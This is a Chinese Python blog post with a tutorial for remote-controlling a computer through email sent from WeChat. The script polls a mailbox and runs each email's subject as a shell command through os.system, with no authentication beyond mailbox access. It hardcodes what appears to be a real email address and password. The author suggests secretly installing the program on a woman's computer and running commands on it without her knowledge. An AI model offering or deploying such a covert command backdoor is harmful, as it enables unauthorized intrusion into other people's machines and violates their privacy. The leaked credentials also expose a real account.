python编写微信远程控制电脑的程序


Posted in Python onJanuary 05, 2018

今天来分享一个“高大上”的技术——使用python编写一个可以用微信远程控制电脑的程序!

先来分析一下控制的具体流程:

python编写微信远程控制电脑的程序

我们使用微信给特定的邮箱发送一封邮件,其中包含了我们想要电脑执行的命令,然后电脑上的python程序获取到这封邮件,然后解析其中的命令,再交付给电脑执行。可以看出,这其中主要的技术难点就是获取邮件了!但是!这没有任何问题,大家看到我的上一篇博客《python 收发邮件》就可以了!

下面给出使用python收发邮件并执行邮件命令的代码。

# -*- coding:utf-8 -*- 
from email.mime.text import MIMEText 
import poplib 
import smtplib 
import os 
 
 
class MailManager(object): 
 
  def __init__(self): 
    self.popHost = 'pop.sina.com' 
    self.smtpHost = 'smtp.sina.com' 
    self.port = 25 
    self.userName = 'ivanzgj@sina.com' 
    self.passWord = 'zgj123' 
    self.bossMail = '475176416@qq.com' 
    self.login() 
    self.configMailBox() 
 
  # 登录邮箱 
  def login(self): 
    try: 
      self.mailLink = poplib.POP3_SSL(self.popHost) 
      self.mailLink.set_debuglevel(0) 
      self.mailLink.user(self.userName) 
      self.mailLink.pass_(self.passWord) 
      self.mailLink.list() 
      print u'login success!' 
    except Exception as e: 
      print u'login fail! ' + str(e) 
      quit() 
 
  # 获取邮件 
  def retrMail(self): 
    try: 
      mail_list = self.mailLink.list()[1] 
      if len(mail_list) == 0: 
        return None 
      mail_info = mail_list[0].split(' ') 
      number = mail_info[0] 
      mail = self.mailLink.retr(number)[1] 
      self.mailLink.dele(number) 
 
      subject = u'' 
      sender = u'' 
      for i in range(0, len(mail)): 
        if mail[i].startswith('Subject'): 
          subject = mail[i][9:] 
        if mail[i].startswith('X-Sender'): 
          sender = mail[i][10:] 
      content = {'subject': subject, 'sender': sender} 
      return content 
    except Exception as e: 
      print str(e) 
      return None 
 
  def configMailBox(self): 
    try: 
      self.mail_box = smtplib.SMTP(self.smtpHost, self.port) 
      self.mail_box.login(self.userName, self.passWord) 
      print u'config mailbox success!' 
    except Exception as e: 
      print u'config mailbox fail! ' + str(e) 
      quit() 
 
  # 发送邮件 
  def sendMsg(self, mail_body='Success!'): 
    try: 
      msg = MIMEText(mail_body, 'plain', 'utf-8') 
      msg['Subject'] = mail_body 
      msg['from'] = self.userName 
      self.mail_box.sendmail(self.userName, self.bossMail, msg.as_string()) 
      print u'send mail success!' 
    except Exception as e: 
      print u'send mail fail! ' + str(e) 
 
if __name__ == '__main__': 
  mailManager = MailManager() 
  mail = mailManager.retrMail() 
  if mail is not None: 
    cmd = mail['subject'] 
    os.system(cmd) 
    mailManager.sendMsg()

上述代码的逻辑是:邮件的主题为要执行的命令,然后python获取邮箱的邮件,解析其主题,然后交到命令行执行。执行成功后发送一封success的邮件给我。

下面测试一下。我使用qq邮箱给我指定的邮箱发送了下面这样一封邮件。

python编写微信远程控制电脑的程序

这封邮件的命令是要打开mail.py这个文件,然后我们在电脑上运行上述代码程序,就可以看到其打开了mail.py这个文件了!
现在,这个程序只会执行一次,然后就会退出,我们只要给它加个死循环就可以让它一直运行了~

if __name__ == '__main__': 
  while True: 
    mailManager = MailManager() 
    mail = mailManager.retrMail() 
    if mail is not None: 
      cmd = mail['subject'] 
      os.system(cmd) 
      mailManager.sendMsg() 
    time.sleep(5)

现在我们只要运行其这个程序,然后我们拿着手机,打开微信,一封邮件,便可随时远控电脑!想想,你们拿着这个程序,打包一下,然后悄悄地撞到你心仪的妹子电脑上,趁她不注意的时候,发一封邮件,然后让妹子的电脑干点什么事情(例如显示一段文字表白什么的),想想都很激动呢!!!

好的,下面直接给出一个源码链接吧。
python 微信远程控制电脑

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python3 模块、包调用&路径详解
Oct 25 Python
浅谈Django REST Framework限速
Dec 12 Python
python 动态加载的实现方法
Dec 22 Python
使用pandas中的DataFrame数据绘制柱状图的方法
Apr 10 Python
Python SQL查询并生成json文件操作示例
Aug 17 Python
详解Python发送email的三种方式
Oct 18 Python
pandas.cut具体使用总结
Jun 24 Python
Python换行与不换行的输出实例
Feb 19 Python
python实现ftp文件传输系统(案例分析)
Mar 20 Python
Python压缩模块zipfile实现原理及用法解析
Aug 14 Python
用python绘制樱花树
Oct 09 Python
python源文件的字符编码知识点详解
Mar 04 Python
使用python爬虫实现网络股票信息爬取的demo
Jan 05 #Python
简单实现python收发邮件功能
Jan 05 #Python
5款非常棒的Python工具
Jan 05 #Python
Python基于列表模拟堆栈和队列功能示例
Jan 05 #Python
Django 2.0版本的新特性抢先看!
Jan 05 #Python
微信跳一跳游戏python脚本
Apr 01 #Python
Python基于列表list实现的CRUD操作功能示例
Jan 05 #Python
You might like
构建简单的Webmail系统
2006/10/09 PHP
使用PHP会话(Session)实现用户登陆功能
2013/06/29 PHP
MyEclipse取消验证Js的两种方法
2013/11/14 Javascript
js每隔5分钟执行一次ajax请求的实现方法
2013/11/27 Javascript
$.each遍历对象、数组的属性值并进行处理
2014/07/18 Javascript
javascript创建函数的20种方式汇总
2015/06/23 Javascript
JavaScript小技巧整理
2015/12/30 Javascript
JS简单实现仿百度控制台输出信息效果
2016/09/04 Javascript
JavaScript中三个等号和两个等号的区别(== 和 ===)浅析
2016/09/22 Javascript
解决拦截器对ajax请求的拦截实例详解
2016/12/21 Javascript
angular4自定义组件详解
2017/09/28 Javascript
Vue scrollBehavior 滚动行为实现后退页面显示在上次浏览的位置
2019/05/27 Javascript
Vue-Cli项目优化操作的实现
2019/10/27 Javascript
vue el-table实现自定义表头
2019/12/11 Javascript
vue2.0 解决抽取公用js的问题
2020/07/31 Javascript
JQuery通过键盘控制键盘按下与松开触发事件
2020/08/07 jQuery
最大K个数问题的Python版解法总结
2016/06/16 Python
对python中Json与object转化的方法详解
2018/12/31 Python
对Python3之进程池与回调函数的实例详解
2019/01/22 Python
python实现微信防撤回神器
2019/04/29 Python
Python + OpenCV 实现LBP特征提取的示例代码
2019/07/11 Python
Python中pymysql 模块的使用详解
2019/08/12 Python
np.newaxis 实现为 numpy.ndarray(多维数组)增加一个轴
2019/11/30 Python
pymysql模块使用简介与示例
2020/11/17 Python
利用纯CSS3实现文字向右循环闪过效果实例(可用于移动端)
2017/06/15 HTML / CSS
CSS3 优势以及网页设计师如何使用CSS3技术
2009/07/29 HTML / CSS
发现世界上最好的珠宝设计师:JewelStreet
2017/12/17 全球购物
自主招生自荐信范文
2013/12/04 职场文书
煤矿班组长岗位职责
2013/12/29 职场文书
幼儿园儿童节主持词
2014/03/21 职场文书
想要创业,那么你做好准备了吗?
2019/07/01 职场文书
诺贝尔奖获得者名言100句:句句启人心智,值永久收藏
2019/08/09 职场文书
python 如何将两个实数矩阵合并为一个复数矩阵
2021/05/19 Python
Python Flask请求扩展与中间件相关知识总结
2021/06/11 Python
Python上下文管理器Content Manager
2021/06/26 Python
spring cloud 配置中心native配置方式
2021/09/25 Java/Android